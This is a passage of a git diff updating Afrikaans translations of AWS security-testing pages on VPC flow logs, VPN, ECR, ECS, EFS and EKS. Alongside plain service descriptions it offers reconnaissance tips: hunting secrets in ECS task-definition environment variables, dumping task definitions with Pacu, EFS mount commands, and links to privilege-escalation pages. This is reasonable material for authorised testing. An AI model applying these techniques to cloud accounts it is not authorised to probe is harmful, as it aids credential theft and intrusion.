CloudFront-toeganglogs, word die **logdata wat deur VPC Flow Logs gegenereer word, nie in S3 gestoor nie. In plaas daarvan word die logdata wat vasgevang word, na CloudWatch logs gestuur**. +In teenstelling met S3-toeganglogs en CloudFront-toeganglogs, is die **logdata wat deur VPC Stroomlogs gegenereer word, nie in S3 gestoor nie. In plaas daarvan word die logdata wat vasgevang word, na CloudWatch-logs gestuur**. Beperkings: -- As jy 'n VPC-gepeerde verbinding het, sal jy slegs die vloei logs van gepeerde VPCs wat binne dieselfde rekening is, kan sien. -- As jy steeds hulpbronne binne die EC2-Classic omgewing bestuur, kan jy ongelukkig nie inligting van hul interfaces verkry nie. -- Sodra 'n VPC Flow Log geskep is, kan dit nie verander word nie. Om die VPC Flow Log-konfigurasie te verander, moet jy dit verwyder en dan 'n nuwe een herskep. +- As jy 'n VPC-gepeerde verbinding het, sal jy slegs die stroomlogs van gepeerde VPCs wat binne dieselfde rekening is, kan sien. +- As jy steeds hulpbronne binne die EC2-Klassieke omgewing bestuur, kan jy ongelukkig nie inligting van hul interfaces verkry nie. +- Sodra 'n VPC Stroomlog geskep is, kan dit nie gewysig word nie. Om die VPC Stroomlog-konfigurasie te verander, moet jy dit verwyder en dan 'n nuwe een herskep. - Die volgende verkeer word nie gemonitor en vasgevang deur die logs nie. DHCP-verkeer binne die VPC, verkeer van instansies wat bestem is vir die Amazon DNS-server. -- Enige verkeer wat bestem is vir die IP-adres van die VPC se standaardrouter en verkeer na en van die volgende adresse, 169.254.169.254 wat gebruik word om instansiemetadataversameling, en 169.254.169.123 wat gebruik word vir die Amazon Time Sync Service. +- Enige verkeer wat bestem is vir die IP-adres van die VPC se standaardrouter en verkeer na en van die volgende adresse, 169.254.169.254 wat gebruik word om instansiemetadataversameling, en 169.254.169.123 wat gebruik word vir die Amazon Tyd Sink diens. - Verkeer wat verband hou met 'n Amazon Windows aktiveringslisensie van 'n Windows-instansie - Verkeer tussen 'n netwerklaaibalansierinterface en 'n eindpuntnetwerkinterface -Vir elke netwerkinterface wat data na die CloudWatch-loggroep publiseer, sal dit 'n ander logstroom gebruik. En binne elkeen van hierdie strome sal daar die vloei log gebeurtenisdata wees wat die inhoud van die loginskrywings toon. Elke een van hierdie **logs vang data vas gedurende 'n venster van ongeveer 10 tot 15 minute**. +Vir elke netwerkinterface wat data na die CloudWatch-loggroep publiseer, sal dit 'n ander logstroom gebruik. En binne elkeen van hierdie strome sal daar die stroomloggebeurtenisdata wees wat die inhoud van die loginskrywings toon. Elke een van hierdie **logs vang data tydens 'n venster van ongeveer 10 tot 15 minute**. ## VPN -### Basic AWS VPN Components +### Basiese AWS VPN Komponente 1. **Kliënt Gateway**: - 'n Kliënt Gateway is 'n hulpbron wat jy in AWS skep om jou kant van 'n VPN-verbinding te verteenwoordig. - Dit is essensieel 'n fisiese toestel of sagtewaretoepassing aan jou kant van die Site-to-Site VPN-verbinding. - Jy verskaf routeringinligting en die openbare IP-adres van jou netwerktoestel (soos 'n router of 'n firewall) aan AWS om 'n Kliënt Gateway te skep. - Dit dien as 'n verwysingspunt vir die opstelling van die VPN-verbinding en bring geen addisionele koste mee nie. -2. **Virtuele Privaat Gateway**: -- 'n Virtuele Privaat Gateway (VPG) is die VPN-konsentrasie aan die Amazon-kant van die Site-to-Site VPN-verbinding. -- Dit is aan jou VPC geheg en dien as die teiken vir jou VPN-verbinding. +2. **Virtuele Privaatsky Gateway**: +- 'n Virtuele Privaatsky Gateway (VPG) is die VPN-konsentrasie aan die Amazon-kant van die Site-to-Site VPN-verbinding. +- Dit is aan jou VPC gekoppel en dien as die teiken vir jou VPN-verbinding. - VPG is die AWS-kant eindpunt vir die VPN-verbinding. - Dit hanteer die veilige kommunikasie tussen jou VPC en jou plaaslike netwerk. -3. **Site-to-Site VPN Connection**: +3. **Site-to-Site VPN Verbinding**: - 'n Site-to-Site VPN-verbinding verbind jou plaaslike netwerk met 'n VPC deur 'n veilige, IPsec VPN-tunnel. -- Hierdie tipe verbinding vereis 'n Kliënt Gateway en 'n Virtuele Privaat Gateway. +- Hierdie tipe verbinding vereis 'n Kliënt Gateway en 'n Virtuele Privaatsky Gateway. - Dit word gebruik vir veilige, stabiele en konsekwente kommunikasie tussen jou datacentrum of netwerk en jou AWS-omgewing. -- Gewoonlik gebruik vir gereelde, langtermynverbindinge en word gefaktureer op grond van die hoeveelheid data wat oor die verbinding oorgedra word. +- Gewoonlik gebruik vir gereelde, langtermynverbindingen en word gefaktureer op grond van die hoeveelheid data wat oor die verbinding oorgedra word. 4. **Kliënt VPN Eindpunt**: -- 'n Kliënt VPN-eindpunt is 'n hulpbron wat jy in AWS skep om kliënt VPN-sessies in te stel en te bestuur. +- 'n Kliënt VPN-eindpunt is 'n hulpbron wat jy in AWS skep om kliënt VPN-sessies te aktiveer en te bestuur. - Dit word gebruik om individuele toestelle (soos skootrekenaars, slimfone, ens.) veilig met AWS-hulpbronne of jou plaaslike netwerk te verbind. - Dit verskil van Site-to-Site VPN in die sin dat dit ontwerp is vir individuele kliënte eerder as om hele netwerke te verbind. - Met Kliënt VPN gebruik elke kliënttoestel 'n VPN-kliënt sagteware om 'n veilige verbinding te vestig. @@ -144,13 +144,13 @@ Elke VPN-verbinding sluit twee VPN-tunnels in wat jy gelyktydig kan gebruik vir - **Kliëntgateway**: 'n AWS-hulpbron wat inligting aan AWS verskaf oor jou kliëntgateway-toestel. - **Kliëntgateway-toestel**: 'n Fisiese toestel of sagtewaretoepassing aan jou kant van die Site-to-Site VPN-verbinding. -- **Virtuele privaat gateway**: Die VPN-konsentrasie aan die Amazon-kant van die Site-to-Site VPN-verbinding. Jy gebruik 'n virtuele privaat gateway of 'n transit gateway as die gateway vir die Amazon-kant van die Site-to-Site VPN-verbinding. -- **Transit gateway**: 'n Transit-hub wat gebruik kan word om jou VPCs en plaaslike netwerke met mekaar te verbind. Jy gebruik 'n transit gateway of virtuele privaat gateway as die gateway vir die Amazon-kant van die Site-to-Site VPN-verbinding. +- **Virtuele privaatsky-gateway**: Die VPN-konsentrasie aan die Amazon-kant van die Site-to-Site VPN-verbinding. Jy gebruik 'n virtuele privaatsky-gateway of 'n transit-gateway as die gateway vir die Amazon-kant van die Site-to-Site VPN-verbinding. +- **Transit-gateway**: 'n transit-hub wat gebruik kan word om jou VPCs en plaaslike netwerke met mekaar te verbind. Jy gebruik 'n transit-gateway of virtuele privaatsky-gateway as die gateway vir die Amazon-kant van die Site-to-Site VPN-verbinding. -#### Limitations +#### Beperkings -- IPv6-verkeer word nie ondersteun vir VPN-verbindinge op 'n virtuele privaat gateway nie. -- 'n AWS VPN-verbinding ondersteun nie Path MTU Discovery nie. +- IPv6-verkeer word nie ondersteun vir VPN-verbindinge op 'n virtuele privaatsky-gateway nie. +- 'n AWS VPN-verbinding ondersteun nie Pad MTU Ontdekking nie. Boonop, neem die volgende in ag wanneer jy Site-to-Site VPN gebruik. @@ -158,33 +158,33 @@ Boonop, neem die volgende in ag wanneer jy Site-to-Site VPN gebruik. ### Kliënt VPN -**Verbind vanaf jou masjien na jou VPC** +**Verbind vanaf jou masjien met jou VPC** -#### Concepts +#### Konsepte -- **Kliënt VPN eindpunt:** Die hulpbron wat jy skep en konfigureer om kliënt VPN-sessies in te stel en te bestuur. Dit is die hulpbron waar alle kliënt VPN-sessies beëindig word. -- **Teiken netwerk:** 'n Teiken netwerk is die netwerk wat jy met 'n Kliënt VPN-eindpunt assosieer. **'n Subnet van 'n VPC is 'n teiken netwerk**. Om 'n subnet met 'n Kliënt VPN-eindpunt te assosieer, stel jou in staat om VPN-sessies te vestig. Jy kan verskeie subnetwerke met 'n Kliënt VPN-eindpunt assosieer vir hoë beskikbaarheid. Alle subnetwerke moet van dieselfde VPC wees. Elke subnet moet aan 'n ander beskikbaarheidsgebied behoort. +- **Kliënt VPN eindpunt:** Die hulpbron wat jy skep en konfigureer om kliënt VPN-sessies te aktiveer en te bestuur. Dit is die hulpbron waar al kliënt VPN-sessies beëindig word. +- **Teiken netwerk:** 'n Teiken netwerk is die netwerk wat jy met 'n Kliënt VPN-eindpunt assosieer. **'n Subnet van 'n VPC is 'n teiken netwerk**. Om 'n subnet met 'n Kliënt VPN-eindpunt te assosieer, stel jou in staat om VPN-sessies te vestig. Jy kan verskeie subnets met 'n Kliënt VPN-eindpunt assosieer vir hoë beskikbaarheid. Alle subnets moet van dieselfde VPC wees. Elke subnet moet aan 'n ander beskikbaarheidsone behoort. - **Roete**: Elke Kliënt VPN-eindpunt het 'n routeringstabel wat die beskikbare bestemmingsnetwerkroetes beskryf. Elke roete in die routeringstabel spesifiseer die pad vir verkeer na spesifieke hulpbronne of netwerke. -- **Outorisasiereëls:** 'n autorisatiereël **beperk die gebruikers wat toegang tot 'n netwerk kan verkry**. Vir 'n spesifieke netwerk, konfigureer jy die Active Directory of identiteitsverskaffer (IdP) groep wat toegang verleen. Slegs gebruikers wat tot hierdie groep behoort, kan toegang tot die spesifieke netwerk verkry. **Standaard is daar geen autorisatiereëls nie** en jy moet autorisatiereëls konfigureer om gebruikers in staat te stel om toegang tot hulpbronne en netwerke te verkry. -- **Kliënt:** Die eindgebruiker wat met die Kliënt VPN-eindpunt verbind om 'n VPN-sessie te vestig. Eindgebruikers moet 'n OpenVPN-kliënt aflaai en die Kliënt VPN-konfigurasiefilenaam wat jy geskep het, gebruik om 'n VPN-sessie te vestig. +- **Outorisasiereëls:** 'n autorisatiereël **beperk die gebruikers wat toegang tot 'n netwerk kan verkry**. Vir 'n spesifieke netwerk, konfigureer jy die Aktiewe Gids of identiteitsverskaffer (IdP) groep wat toegang verleen. Slegs gebruikers wat tot hierdie groep behoort, kan toegang tot die spesifieke netwerk verkry. **Standaard is daar geen autorisatiereëls nie** en jy moet autorisatiereëls konfigureer om gebruikers in staat te stel om toegang tot hulpbronne en netwerke te verkry. +- **Kliënt:** Die eindgebruiker wat met die Kliënt VPN-eindpunt verbind om 'n VPN-sessie te vestig. Eindgebruikers moet 'n OpenVPN-kliënt aflaai en die Kliënt VPN-konfigurasie lêer wat jy geskep het, gebruik om 'n VPN-sessie te vestig. - **Kliënt CIDR-reeks:** 'n IP-adresreeks waaruit kliënt IP-adresse toegeken kan word. Elke verbinding met die Kliënt VPN-eindpunt word aan 'n unieke IP-adres van die kliënt CIDR-reeks toegeken. Jy kies die kliënt CIDR-reeks, byvoorbeeld, `10.2.0.0/16`. - **Kliënt VPN-poorte:** AWS Kliënt VPN ondersteun poorte 443 en 1194 vir beide TCP en UDP. Die standaard is poort 443. -- **Kliënt VPN-netwerkinterfaces:** Wanneer jy 'n subnet met jou Kliënt VPN-eindpunt assosieer, skep ons Kliënt VPN-netwerkinterfaces in daardie subnet. **Verkeer wat na die VPC van die Kliënt VPN-eindpunt gestuur word, word deur 'n Kliënt VPN-netwerkinterface gestuur**. Bron netwerkadresvertaling (SNAT) word dan toegepas, waar die bron IP-adres van die kliënt CIDR-reeks na die Kliënt VPN-netwerkinterface IP-adres vertaal word. -- **Verbindingslogging:** Jy kan verbindingslogging vir jou Kliënt VPN-eindpunt inskakel om verbindingsgebeurtenisse te log. Jy kan hierdie inligting gebruik om forensiese ondersoeke te doen, analiseer hoe jou Kliënt VPN-eindpunt gebruik word, of verbindingsprobleme te ontleed. -- **Selfdiensportaal:** Jy kan 'n selfdiensportaal vir jou Kliënt VPN-eindpunt inskakel. Kliënte kan inlog op die web-gebaseerde portaal met hul geloofsbriewe en die nuutste weergawe van die Kliënt VPN-eindpunt konfigurasiefilenaam aflaai, of die nuutste weergawe van die AWS verskafde kliënt. +- **Kliënt VPN netwerkinterfaces:** Wanneer jy 'n subnet met jou Kliënt VPN-eindpunt assosieer, skep ons Kliënt VPN-netwerkinterfaces in daardie subnet. **Verkeer wat na die VPC van die Kliënt VPN-eindpunt gestuur word, word deur 'n Kliënt VPN-netwerkinterface gestuur**. Bron netwerkadresvertaling (SNAT) word dan toegepas, waar die bron IP-adres van die kliënt CIDR-reeks na die Kliënt VPN-netwerkinterface IP-adres vertaal word. +- **Verbindingslogging:** Jy kan verbindingslogging vir jou Kliënt VPN-eindpunt aktiveer om verbindingsgebeurtenisse te log. Jy kan hierdie inligting gebruik om forensiese ondersoeke te doen, te analiseer hoe jou Kliënt VPN-eindpunt gebruik word, of verbindingsprobleme op te los. +- **Selfdiensportaal:** Jy kan 'n selfdiensportaal vir jou Kliënt VPN-eindpunt aktiveer. Kliënte kan in die webgebaseerde portaal aanmeld met hul geloofsbriewe en die nuutste weergawe van die Kliënt VPN-eindpunt konfigurasielêer aflaai, of die nuutste weergawe van die AWS verskafde kliënt. -#### Limitations +#### Beperkings -- **Kliënt CIDR-reekse kan nie oorvleuel met die plaaslike CIDR** van die VPC waarin die geassosieerde subnet geleë is nie, of enige roetes wat handmatig by die Kliënt VPN-eindpunt se routeringstabel gevoeg is. -- Kliënt CIDR-reekse moet 'n blokgrootte van ten **minste /22** hê en mag **nie groter wees as /12 nie.** -- 'n **Deel van die adresse** in die kliënt CIDR-reeks word gebruik om die **beskikbaarheids** model van die Kliënt VPN-eindpunt te ondersteun, en kan nie aan kliënte toegeken word nie. Daarom beveel ons aan dat jy **'n CIDR-blok toewys wat twee keer die aantal IP-adresse bevat wat benodig word** om die maksimum aantal gelyktydige verbindings wat jy van plan is om te ondersteun op die Kliënt VPN-eindpunt, in staat te stel. +- **Kliënt CIDR-reekse kan nie oorvleuel met die plaaslike CIDR** van die VPC waarin die geassosieerde subnet geleë is nie, of enige roetes wat handmatig aan die Kliënt VPN-eindpunt se routeringstabel bygevoeg is. +- Kliënt CIDR-reekse moet 'n blokgrootte van ten minste **/22** hê en mag **nie groter wees as /12 nie.** +- 'n **Deel van die adresse** in die kliënt CIDR-reeks word gebruik om die **beskikbaarheidsmodel** van die Kliënt VPN-eindpunt te ondersteun, en kan nie aan kliënte toegeken word nie. Daarom beveel ons aan dat jy **'n CIDR-blok toewys wat twee keer die aantal IP-adresse bevat wat benodig word** om die maksimum aantal gelyktydige verbindings wat jy van plan is om te ondersteun op die Kliënt VPN-eindpunt, te aktiveer. - Die **kliënt CIDR-reeks kan nie verander word** nadat jy die Kliënt VPN-eindpunt geskep het nie. -- Die **subnetwerke** wat met 'n Kliënt VPN-eindpunt geassosieer is, **moet in dieselfde VPC wees**. -- Jy **kan nie verskeie subnetwerke van dieselfde beskikbaarheidsgebied met 'n Kliënt VPN-eindpunt assosieer nie**. +- Die **subnets** wat met 'n Kliënt VPN-eindpunt geassosieer is, **moet in dieselfde VPC wees**. +- Jy **kan nie verskeie subnets van dieselfde beskikbaarheidsone met 'n Kliënt VPN-eindpunt assosieer nie**. - 'n Kliënt VPN-eindpunt **ondersteun nie subnetassosiasies in 'n toegewyde huur VPC nie**. - Kliënt VPN ondersteun **IPv4** verkeer slegs. - Kliënt VPN is **nie** Federale Inligting Verwerkingsstandaarde (**FIPS**) **konform nie**. -- As multi-faktor verifikasie (MFA) vir jou Active Directory gedeaktiveer is, kan 'n gebruikerswagwoord nie in die volgende formaat wees nie. +- As multi-faktor verifikasie (MFA) vir jou Aktiewe Gids gedeaktiveer is, kan 'n gebruikerswagwoord nie in die volgende formaat wees nie. ``` SCRV1:: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9562d48a1..989eda3a5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -8,42 +8,42 @@ #### Basiese Inligting -Amazon **Elastic Container Registry** (Amazon ECR) is 'n **bestuurde houerbeeld registrasiediens**. Dit is ontwerp om 'n omgewing te bied waar kliënte met hul houerbeelde kan interaksie hê deur middel van bekende koppelvlakke. Spesifiek word die gebruik van die Docker CLI of enige verkiesde kliënt ondersteun, wat aktiwiteite soos die stoot, trek en bestuur van houerbeelde moontlik maak. +Amazon **Elastic Container Registry** (Amazon ECR) is 'n **bestuurde houerbeeld registrasiediens**. Dit is ontwerp om 'n omgewing te bied waar kliënte met hul houerbeelde kan interaksie hê deur middel van bekende interfaces. Spesifiek word die gebruik van die Docker CLI of enige verkiesde kliënt ondersteun, wat aktiwiteite soos die stoot, trek en bestuur van houerbeelde moontlik maak. -ECR bestaan uit 2 tipes voorwerpe: **Registrasies** en **Bergings**. +ECR bestaan uit 2 tipes voorwerpe: **Registries** en **Repositories**. -**Registrasies** +**Registries** -Elke AWS-rekening het 2 registrasies: **Privaat** & **Publiek**. +Elke AWS-rekening het 2 registries: **Privaat** & **Publiek**. -1. **Privaat Registrasies**: +1. **Privaat Registries**: -- **Privaat per standaard**: Die houerbeelde wat in 'n Amazon ECR privaat registrasie gestoor word, is **slegs toeganklik vir gemagtigde gebruikers** binne jou AWS-rekening of vir diegene aan wie toestemming gegee is. -- Die URI van 'n **privaat berging** volg die formaat `.dkr.ecr..amazonaws.com/` +- **Privaat per standaard**: Die houerbeelde wat in 'n Amazon ECR privaat registry gestoor word, is **slegs toeganklik vir gemagtigde gebruikers** binne jou AWS-rekening of vir diegene aan wie toestemming gegee is. +- Die URI van 'n **privaat repository** volg die formaat `.dkr.ecr..amazonaws.com/` - **Toegangsbeheer**: Jy kan **toegang beheer** tot jou privaat houerbeelde deur middel van **IAM-beleide**, en jy kan fyn-granige toestemmings op grond van gebruikers of rolle konfigureer. -- **Integrasie met AWS-dienste**: Amazon ECR privaat registrasies kan maklik **geïntegreer word met ander AWS-dienste**, soos EKS, ECS... -- **Ander privaat registrasie opsies**: +- **Integrasie met AWS-dienste**: Amazon ECR privaat registries kan maklik **geïntegreer word met ander AWS-dienste**, soos EKS, ECS... +- **Ander privaat registry opsies**: - Die Tag onveranderlikheid kolom lys sy status, as tag onveranderlikheid geaktiveer is, sal dit **verhoed** dat beeld **stoot** met **bestaande tags** die beelde oorskryf. -- Die **Enkripsietipe** kolom lys die enkripsie eienskappe van die berging, dit wys die standaard enkripsietipes soos AES-256, of het **KMS** geaktiveerde enkripsies. -- Die **Trek deur kas** kolom lys sy status, as Trek deur kas status Aktief is, sal dit **bergings in 'n eksterne publieke berging in jou privaat berging** kas. -- Spesifieke **IAM-beleide** kan geconfigureer word om verskillende **toestemmings** toe te ken. -- Die **skandeer konfigurasie** laat toe om vir kwesbaarhede in die beelde wat binne die berging gestoor is, te skandeer. +- Die **Enkripsietipe** kolom lys die enkripsie eienskappe van die repository, dit wys die standaard enkripsietipes soos AES-256, of het **KMS** geaktiveerde enkripsies. +- Die **Trek deur cache** kolom lys sy status, as die Trek deur cache status Aktief is, sal dit **repositories in 'n eksterne publieke repository in jou privaat repository** kas. +- Spesifieke **IAM-beleide** kan geconfigureer word om verskillende **toestemmings** te verleen. +- Die **skandeer konfigurasie** laat toe om vir kwesbaarhede in die beelde wat binne die repo gestoor is, te skandeer. -2. **Publieke Registrasies**: +2. **Publieke Registries**: -- **Publieke toeganklikheid**: Houerbeelde wat in 'n ECR Publieke registrasie gestoor word, is **toeganklik vir enigiemand op die internet sonder verifikasie.** -- Die URI van 'n **publieke berging** is soos `public.ecr.aws//`. Alhoewel die `` deel deur die admin na 'n ander string wat makliker om te onthou is, verander kan word. +- **Publieke toeganklikheid**: Houerbeelde wat in 'n ECR Publieke registry gestoor word, is **toeganklik vir enigiemand op die internet sonder verifikasie.** +- Die URI van 'n **publieke repository** is soos `public.ecr.aws//`. Alhoewel die `` deel deur die admin na 'n ander string wat makliker om te onthou is, verander kan word. -**Bergings** +**Repositories** -Dit is die **beelde** wat in die **privaat registrasie** of in die **publieke** een is. +Dit is die **beelde** wat in die **privaat registry** of in die **publieke** een is. > [!NOTE] -> Let daarop dat om 'n beeld na 'n berging op te laai, die **ECR berging dieselfde naam as die beeld moet hê**. +> Let daarop dat om 'n beeld na 'n repository op te laai, die **ECR repository dieselfde naam as die beeld moet hê**. -#### Registrasie & Berging Beleide +#### Registry & Repository Beleide -**Registrasies & bergings** het ook **beleide wat gebruik kan word om toestemmings aan ander beginsels/rekeninge toe te ken**. Byvoorbeeld, in die volgende berging beleid beeld kan jy sien hoe enige gebruiker van die hele organisasie toegang tot die beeld sal hê: +**Registries & repositories** het ook **beleide wat gebruik kan word om toestemmings aan ander principals/rekeninge te verleen**. Byvoorbeeld, in die volgende repository beleid beeld kan jy sien hoe enige gebruiker van die hele organisasie toegang tot die beeld sal hê:
@@ -73,9 +73,9 @@ aws ecr get-repository-policy --repository-name ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Privilege Verhoging +#### Privesc -In die volgende bladsy kan jy kyk hoe om **ECR-toestemmings te misbruik om voorregte te verhoog**: +Op die volgende bladsy kan jy kyk hoe om **ECR-toestemmings te misbruik om voorregte te verhoog**: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 167a870a3..e5ebbbd47 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -10,22 +10,22 @@ Amazon **Elastic Container Services** of ECS bied 'n platform om **gecontaineris ECS werk met die volgende drie boublokke: **Clusters**, **Dienste**, en **Taak Definisies**. -- **Clusters** is **groepe van houers** wat in die wolk loop. Soos voorheen genoem, is daar twee lanseringstipes vir houers, EC2 en Fargate. AWS definieer die **EC2** lanseringstype as diegene wat kliënte “toelaat om \[hul] gecontaineriseerde toepassings op 'n kluster van Amazon EC2 instansies wat \[hulle] **bestuur**” te laat loop. **Fargate** is soortgelyk en word gedefinieer as “\[wat] jou toelaat om jou gecontaineriseerde toepassings **sonder die behoefte om** die agtergrondinfrastruktuur te voorsien en te bestuur”. +- **Clusters** is **groepe van houers** wat in die wolk loop. Soos voorheen genoem, is daar twee lanseringstipes vir houers, EC2 en Fargate. AWS definieer die **EC2** lanseringstype as wat kliënte “toelaat om \[hul] gecontaineriseerde toepassings op 'n kluster van Amazon EC2 instansies wat \[hul] **bestuur**” te laat loop. **Fargate** is soortgelyk en word gedefinieer as “\[wat] jou toelaat om jou gecontaineriseerde toepassings **sonder die behoefte om** die agtergrondinfrastruktuur te voorsien en te bestuur”. - **Dienste** word binne 'n kluster geskep en is verantwoordelik vir **die uitvoering van die take**. Binne 'n diensdefinisie **definieer jy die aantal take om te loop, outo-skaal, kapasiteitsverskaffer (Fargate/EC2/Buitenshuise),** **netwerk** inligting soos VPC’s, subnetwerke, en sekuriteitsgroepe. - Daar is **2 tipes toepassings**: -- **Diens**: 'n groep take wat 'n langlopende rekenaarwerk hanteer wat gestop en herbegin kan word. Byvoorbeeld, 'n webtoepassing. -- **Taak**: 'n standalone taak wat loop en beëindig. Byvoorbeeld, 'n batch werk. +- **Diens**: 'n Groep take wat 'n langlopende rekenaarwerk hanteer wat gestop en herbegin kan word. Byvoorbeeld, 'n webtoepassing. +- **Taak**: 'n Standalone taak wat loop en beëindig. Byvoorbeeld, 'n batch werk. - Onder die diens toepassings, is daar **2 tipes diens skeduleerders**: - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Die replika skeduleringstrategie plaas en **onderhou die gewenste aantal** take oor jou kluster. As om een of ander rede 'n taak afsluit, word 'n nuwe een in dieselfde of 'n ander node gelanseer. - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Ontplooi presies een taak op elke aktiewe houerinstansie wat die nodige vereistes het. Daar is geen behoefte om 'n gewenste aantal take, 'n taak plasingstrategie, of diens outo-skaalbeleide te spesifiseer nie. -- **Taak Definisies** is verantwoordelik vir **die definisie van watter houers sal loop** en die verskillende parameters wat saam met die houers geconfigureer sal word soos **poortkaarte** met die gasheer, **omgewing veranderlikes**, Docker **entrypoint**... -- Kontroleer **omgewing veranderlikes vir sensitiewe inligting**! +- **Taak Definisies** is verantwoordelik vir **die definisie van watter houers sal loop** en die verskillende parameters wat saam met die houers geconfigureer sal word soos **poorttoewysings** met die gasheer, **omgewing veranderlikes**, Docker **entrypoint**... +- Kyk na **omgewing veranderlikes vir sensitiewe inligting**! ### Sensitiewe Gegewens In Taak Definisies Taak definisies is verantwoordelik vir **die konfigurasie van die werklike houers wat in ECS sal loop**. Aangesien taak definisies definieer hoe houers sal loop, kan 'n oorvloed van inligting daarin gevind word. -Pacu kan ECS opnoem (lys-klusters, lys-houer-instanties, lys-dienste, lys-taak-definisies), dit kan ook taak definisies dump. +Pacu kan ECS opnoem (lys-klusters, lys-houer-instansies, lys-dienste, lys-taak-definisies), dit kan ook taak definisies dump. ### Opname ```bash @@ -57,9 +57,9 @@ aws ecs describe-task-definition --task-definition : ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privilege Verhoging +### Privilege Escalation -In die volgende bladsy kan jy kyk hoe om **ECS-toestemmings te misbruik om privileges te verhoog**: +In die volgende bladsy kan jy kyk hoe om **ECS-toestemmings te misbruik om voorregte te verhoog**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index c37f40dbe..202d7184f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -57,8 +57,8 @@ sudo mount -t efs :/ /efs/ ``` ### IAM Toegang -Deur **standaard** sal enigeen met **netwerktoegang tot die EFS** in staat wees om dit te monteer, **te lees en te skryf selfs as 'n wortelgebruiker**. egter, File System-beleide kan in plek wees **wat slegs hoofde met spesifieke toestemmings** toelaat om toegang te verkry.\ -Byvoorbeeld, hierdie File System-beleid **sal nie toelaat om selfs te monteer** die lêerstelsel as jy **nie die IAM-toestemming** het nie: +Deur **standaard** sal enigeen met **netwerktoegang tot die EFS** in staat wees om dit te monteer, **te lees en te skryf selfs as 'n wortelgebruiker**. egter, File System-beleide kan in plek wees **wat slegs prinsipes met spesifieke toestemmings** toelaat om toegang te verkry.\ +Byvoorbeeld, hierdie File System-beleid **sal nie eens toelaat om** die lêerstelsel te monteer as jy **nie die IAM-toestemming** het: ```json { "Version": "2012-10-17", @@ -96,7 +96,7 @@ sudo mount -t efs -o tls,iam :/ /efs/ **Toegangspunte** is **aansoek**-spesifieke toegangspunte **tot 'n EFS-lêerstelsel** wat dit makliker maak om aansoektoegang tot gedeelde datastelle te bestuur. -Wanneer jy 'n toegangspunt skep, kan jy **die eienaar en POSIX-toestemmings** vir die lêers en gidse wat deur die toegangspunt geskep word, spesifiseer. Jy kan ook **'n pasgemaakte wortelgidse** vir die toegangspunt definieer, hetsy deur 'n bestaande gidse te spesifiseer of deur 'n nuwe een met die gewenste toestemmings te skep. Dit stel jou in staat om **toegang tot jou EFS-lêerstelsel op 'n per-aansoek of per-gebruiker basis te beheer**, wat dit makliker maak om jou gedeelde lêerdata te bestuur en te beveilig. +Wanneer jy 'n toegangspunt skep, kan jy **die eienaar en POSIX-toestemmings** vir die lêers en gidse wat deur die toegangspunt geskep word, **specifiseer**. Jy kan ook **'n pasgemaakte wortelgidse** vir die toegangspunt definieer, hetsy deur 'n bestaande gidse te spesifiseer of deur 'n nuwe een met die gewenste toestemmings te skep. Dit stel jou in staat om **toegang tot jou EFS-lêerstelsel op 'n per-aansoek of per-gebruiker basis te beheer**, wat dit makliker maak om jou gedeelde lêerdata te bestuur en te beveilig. **Jy kan die Lêerstelsel vanaf 'n toegangspunt monteer met iets soos:** ```bash @@ -105,13 +105,13 @@ sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Let daarop dat selfs om 'n toegangspunt te probeer monteer, jy steeds moet **kontak maak met die NFS-diens via netwerk**, en as die EFS 'n lêerstelsel **beleid** het, het jy **voldoende IAM-toestemmings** nodig om dit te monteer. +> Let daarop dat selfs om 'n toegangspunt te monteer, jy steeds moet **kontak maak met die NFS-diens via netwerk**, en as die EFS 'n lêerstelsel **beleid** het, het jy **genoeg IAM-toestemmings** nodig om dit te monteer. Toegangspunte kan vir die volgende doeleindes gebruik word: - **Vereenvoudig toestemmingsbestuur**: Deur 'n POSIX-gebruiker en -groep vir elke toegangspunt te definieer, kan jy maklik toegangstoestemmings vir verskillende toepassings of gebruikers bestuur sonder om die onderliggende lêerstelsel se toestemmings te wysig. - **Afgedwonge 'n wortelgids**: Toegangspunte kan toegang tot 'n spesifieke gids binne die EFS-lêerstelsel beperk, wat verseker dat elke toepassing of gebruiker binne sy aangewese vouer werk. Dit help om toevallige data-blootstelling of -wysiging te voorkom. -- **Makliker lêerstelseltoegang**: Toegangspunte kan geassosieer word met 'n AWS Lambda-funksie of 'n AWS Fargate-taak, wat lêerstelseltoegang vir serverless en gekontaineriseerde toepassings vereenvoudig. +- **Makliker lêerstelseltoegang**: Toegangspunte kan geassosieer word met 'n AWS Lambda-funksie of 'n AWS Fargate-taak, wat lêerstelseltoegang vir serverless en gekonteiniseerde toepassings vereenvoudig. ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 081ca3968..2e4e67217 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,14 +4,14 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is ontwerp om die behoefte aan gebruikers te verwyder om hul eie Kubernetes-beheervlak of nodes te installeer, te bedryf en te bestuur. In plaas daarvan bestuur Amazon EKS hierdie komponente, wat 'n vereenvoudigde 